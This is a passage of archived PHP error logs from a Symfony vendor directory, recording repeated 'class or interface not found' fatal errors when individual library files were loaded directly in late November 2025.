Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/NumberHandler.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/NumberHandler.php on line 29 [26-Nov-2025 17:35:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/WhitespaceHandler.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/WhitespaceHandler.php on line 28 [26-Nov-2025 17:38:00 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/HashHandler.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/HashHandler.php on line 30 [26-Nov-2025 17:38:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/StringHandler.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/StringHandler.php on line 32 [26-Nov-2025 18:48:57 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Parser\Handler\HandlerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/IdentifierHandler.php:30 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Parser/Handler/IdentifierHandler.php on line 30 css-selector/Exception/error_log000064400000003000151121404640013014 0ustar00[25-Nov-2025 23:08:46 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Exception\ParseException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Exception/InternalErrorException.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Exception/InternalErrorException.php on line 22 [26-Nov-2025 01:36:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Exception\ParseException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Exception/ExpressionErrorException.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Exception/ExpressionErrorException.php on line 22 [26-Nov-2025 01:56:15 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\Exception\ParseException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Exception/SyntaxErrorException.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Exception/SyntaxErrorException.php on line 24 [26-Nov-2025 02:03:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Exception/ParseException.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/Exception/ParseException.php on line 22 css-selector/XPath/Extension/error_log000064400000005356151121404640014076 0ustar00[26-Nov-2025 17:10:44 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\XPath\Extension\AbstractExtension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/CombinationExtension.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/CombinationExtension.php on line 26 [26-Nov-2025 17:34:49 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\XPath\Extension\AbstractExtension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/NodeExtension.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/NodeExtension.php on line 28 [26-Nov-2025 17:36:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\XPath\Extension\AbstractExtension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/HtmlExtension.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/HtmlExtension.php on line 29 [26-Nov-2025 18:44:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\XPath\Extension\AbstractExtension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/PseudoClassExtension.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/PseudoClassExtension.php on line 27 [26-Nov-2025 18:47:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\XPath\Extension\AbstractExtension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/AttributeMatchingExtension.php:27 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/AttributeMatchingExtension.php on line 27 [26-Nov-2025 19:44:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\CssSelector\XPath\Extension\ExtensionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/AbstractExtension.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/AbstractExtension.php on line 24 [26-Nov-2025 19:45:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\CssSelector\XPath\Extension\AbstractExtension" not found in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/FunctionExtension.php:31 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/css-selector/XPath/Extension/FunctionExtension.php on line 31 http-foundation/Session/Flash/error_log000064400000002250151121404640014261 0ustar00[26-Nov-2025 18:43:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\Flash\FlashBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Flash/AutoExpireFlashBag.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Flash/AutoExpireFlashBag.php on line 19 [26-Nov-2025 19:33:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\Flash\FlashBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Flash/FlashBag.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Flash/FlashBag.php on line 19 [26-Nov-2025 19:46:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Flash/FlashBagInterface.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Flash/FlashBagInterface.php on line 21 http-foundation/Session/Attribute/error_log000064400000001472151121404640015174 0ustar00[26-Nov-2025 17:34:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Attribute/AttributeBagInterface.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Attribute/AttributeBagInterface.php on line 21 [26-Nov-2025 19:44:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\Attribute\AttributeBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Attribute/AttributeBag.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Attribute/AttributeBag.php on line 19 http-foundation/Session/Storage/Proxy/error_log000064400000000650151121404640015753 0ustar00[27-Nov-2025 07:24:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Session\Storage\Proxy\AbstractProxy" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Proxy/SessionHandlerProxy.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Proxy/SessionHandlerProxy.php on line 19 http-foundation/Session/Storage/error_log000064400000006540151121404640014636 0ustar00[26-Nov-2025 17:33:45 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\Storage\SessionStorageFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/NativeSessionStorageFactory.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/NativeSessionStorageFactory.php on line 23 [26-Nov-2025 17:34:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\Storage\SessionStorageFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorageFactory.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorageFactory.php on line 22 [26-Nov-2025 17:34:43 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/PhpBridgeSessionStorage.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/PhpBridgeSessionStorage.php on line 21 [26-Nov-2025 17:35:05 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\Storage\SessionStorageInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/NativeSessionStorage.php:29 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/NativeSessionStorage.php on line 29 [26-Nov-2025 18:46:17 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\Storage\SessionStorageInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/MockArraySessionStorage.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/MockArraySessionStorage.php on line 28 [26-Nov-2025 19:06:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\Storage\SessionStorageFactoryInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/PhpBridgeSessionStorageFactory.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/PhpBridgeSessionStorageFactory.php on line 23 [26-Nov-2025 19:19:24 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpFoundation\Session\SessionBagInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/MetadataBag.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/MetadataBag.php on line 23 [26-Nov-2025 19:43:13 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Session\Storage\MockArraySessionStorage" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php on line 26 http-foundation/Session/Storage/Handler/error_log000064400000005067151121404640016216 0ustar00[27-Nov-2025 04:26:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Session\Storage\Handler\AbstractSessionHandler" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/NullSessionHandler.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/NullSessionHandler.php on line 19 [27-Nov-2025 04:26:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Session\Storage\Handler\AbstractSessionHandler" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/PdoSessionHandler.php:44 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/PdoSessionHandler.php on line 44 [27-Nov-2025 05:51:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Session\Storage\Handler\AbstractSessionHandler" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/RedisSessionHandler.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/RedisSessionHandler.php on line 23 [27-Nov-2025 05:58:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Session\Storage\Handler\AbstractSessionHandler" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/StrictSessionHandler.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/StrictSessionHandler.php on line 19 [27-Nov-2025 07:05:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\Session\Storage\Handler\AbstractSessionHandler" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/MemcachedSessionHandler.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/MemcachedSessionHandler.php on line 22 [27-Nov-2025 07:23:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Cache\Marshaller\MarshallerInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/IdentityMarshaller.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Session/Storage/Handler/IdentityMarshaller.php on line 19 http-foundation/Test/Constraint/error_log000064400000007420151121404640014650 0ustar00[25-Nov-2025 18:01:42 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseStatusCodeSame.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseStatusCodeSame.php on line 17 [25-Nov-2025 19:51:00 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/RequestAttributeValueSame.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/RequestAttributeValueSame.php on line 17 [25-Nov-2025 19:51:41 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseFormatSame.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseFormatSame.php on line 23 [25-Nov-2025 19:51:50 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseHasHeader.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseHasHeader.php on line 17 [25-Nov-2025 19:54:33 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseHasCookie.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseHasCookie.php on line 18 [25-Nov-2025 19:56:51 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseIsSuccessful.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseIsSuccessful.php on line 17 [25-Nov-2025 20:03:54 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseIsUnprocessable.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseIsUnprocessable.php on line 17 [25-Nov-2025 20:04:44 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseHeaderSame.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseHeaderSame.php on line 17 [25-Nov-2025 21:37:03 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseIsRedirected.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseIsRedirected.php on line 17 [25-Nov-2025 22:05:37 UTC] PHP Fatal error: Uncaught Error: Class "PHPUnit\Framework\Constraint\Constraint" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseCookieValueSame.php:18 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/Test/Constraint/ResponseCookieValueSame.php on line 18 http-foundation/File/Exception/error_log000064400000021332151121404640014420 0ustar00[25-Nov-2025 17:58:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/IniSizeFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/IniSizeFileException.php on line 19 [25-Nov-2025 18:04:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/AccessDeniedException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/AccessDeniedException.php on line 19 [25-Nov-2025 19:53:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/PartialFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/PartialFileException.php on line 19 [25-Nov-2025 19:56:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/ExtensionFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/ExtensionFileException.php on line 19 [25-Nov-2025 19:59:21 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/NoTmpDirFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/NoTmpDirFileException.php on line 19 [25-Nov-2025 20:01:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/UploadException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/UploadException.php on line 19 [25-Nov-2025 20:04:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/FileNotFoundException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/FileNotFoundException.php on line 19 [25-Nov-2025 20:23:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/FormSizeFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/FormSizeFileException.php on line 19 [25-Nov-2025 20:25:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/NoFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/NoFileException.php on line 19 [25-Nov-2025 21:39:20 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/UnexpectedTypeException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/UnexpectedTypeException.php on line 14 [25-Nov-2025 21:41:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/CannotWriteFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/CannotWriteFileException.php on line 19 [26-Nov-2025 17:09:15 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/AccessDeniedException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/AccessDeniedException.php on line 19 [26-Nov-2025 17:12:45 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/PartialFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/PartialFileException.php on line 19 [26-Nov-2025 17:35:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/UploadException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/UploadException.php on line 19 [26-Nov-2025 18:44:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/UnexpectedTypeException.php:14 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/UnexpectedTypeException.php on line 14 [26-Nov-2025 18:45:34 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/NoFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/NoFileException.php on line 19 [26-Nov-2025 18:48:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/FileNotFoundException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/FileNotFoundException.php on line 19 [26-Nov-2025 18:48:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/NoTmpDirFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/NoTmpDirFileException.php on line 19 [26-Nov-2025 19:08:06 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/FormSizeFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/FormSizeFileException.php on line 19 [26-Nov-2025 19:42:30 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/IniSizeFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/IniSizeFileException.php on line 19 [26-Nov-2025 19:43:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/CannotWriteFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/CannotWriteFileException.php on line 19 [26-Nov-2025 19:44:16 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\HttpFoundation\File\Exception\FileException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/ExtensionFileException.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-foundation/File/Exception/ExtensionFileException.php on line 19 http-kernel/Controller/ArgumentResolver/error_log000064400000025414151121404650016352 0ustar00[25-Nov-2025 18:01:16 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/DateTimeValueResolver.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/DateTimeValueResolver.php on line 28 [25-Nov-2025 18:01:59 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/QueryParameterValueResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/QueryParameterValueResolver.php on line 24 [25-Nov-2025 18:04:53 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/TraceableValueResolver.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/TraceableValueResolver.php on line 25 [25-Nov-2025 19:52:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/RequestAttributeValueResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/RequestAttributeValueResolver.php on line 24 [25-Nov-2025 19:53:58 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/SessionValueResolver.php:25 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/SessionValueResolver.php on line 25 [25-Nov-2025 19:56:38 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/VariadicValueResolver.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/VariadicValueResolver.php on line 24 [25-Nov-2025 19:58:06 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/BackedEnumValueResolver.php:28 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/http-kernel/Controller/ArgumentResolver/BackedEnumValueResolver.php on line 28 [25-Nov-2025 19:59:17 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface" not found in 